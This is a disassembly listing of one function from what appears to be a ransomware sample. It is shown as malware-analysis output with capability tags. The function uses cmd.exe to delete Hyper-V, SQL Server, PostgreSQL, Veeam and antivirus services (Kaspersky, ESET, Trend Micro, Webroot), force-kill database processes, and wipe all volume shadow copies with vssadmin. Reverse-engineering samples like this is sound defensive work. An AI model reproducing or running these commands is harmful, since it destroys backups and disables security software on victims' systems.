Function at 0x402b90
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push str.rem_Delite_Service__Hyper_V_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmickvpexchange_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmicguestinterface_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmicshutdown_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmicheartbeat_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmicrdv_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__storflt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmictimesync_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__vmicvss_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Delite_Service__SQL_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQLFDLauncher_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQLSERVER_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLSERVERAGENT_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLBrowser_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLTELEMETRY_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MsDtsServer130_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SSISTELEMETRY130_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLWriter_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQL_VEEAMSQL2012_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLAgent_VEEAMSQL2012_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQL_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLAgent_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQLServerADHelper100_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQLServerOLAPService_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MsDtsServer100_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__ReportServer_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLTELEMETRY_HL_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TMBMServer_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQL_PROGID_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQL_WOLTERSKLUWER_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLAgent_PROGID_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLAgent_WOLTERSKLUWER_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQLFDLauncher_OPTIMA_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__MSSQL_OPTIMA_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__SQLAgent_OPTIMA_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__ReportServer_OPTIMA_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__msftesql_SQLEXPRESS_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__postgresql_x64_9.4_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Delite_Service__AV:_Webroot_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__WRSVC_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Delite_Service__AV:_ESET_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__ekrn_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Delite_Service__AV:_Kaspersky_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klim6_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__AVP18.0.0_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__KLIF_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klpd_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klflt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klbackupdisk_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klbackupflt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klkbdflt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klmouflt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__klhk_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__KSDE1.0.0_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__kltap_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Delite_Service__AV:_Trend_Micro_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TmFilter_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TMLWCSService_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__tmusa_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TmPreFilter_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TMSmartRelayService_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TMiCRCScanService_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__VSApiNt_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TmCCSF_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__tmlisten_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__TmProxy_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__ntrtscan_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__ofcservice_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.sc_delete__UniFi_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Kill__SQL_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_sqlbrowser.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_sqlwriter.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_sqlservr.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_msmdsrv.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_MsDtsSrvr.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_sqlceip.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_fdlauncher.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_Ssms.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_SQLAGENT.EXE
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_fdhost.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_fdlauncher.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_sqlservr.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_ReportingServicesService.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_msftesql.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_pg_ctl.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_postgres.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.rem_Kill
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.taskkill__f__im_UniFi.exe
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_MsMpEng.exe___find__c__PID___Echo_Windows_Defender
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_ntrtscan.exe___find__c__PID___Echo_Trend_Micro_Security
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_avp.exe___find__c__PID___Echo_Kaspersky_Endpoint_Security
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_WRSA.exe___find__c__PID___Echo_Webroot
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_egui.exe___find__c__PID___Echo_ESET
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.tasklist__fi__imagename_eq_AvastUI.exe___find__c__PID___Echo_Avast
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.vssadmin.exe_Delete_Shadows__All__Quiet
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.TASKKILL__F__FI__PID_ge_1000___FI__WINDOWTITLE_ne_untitle_
push str.cmd.exe
push str.open
push 0
call esi
pop esi
ret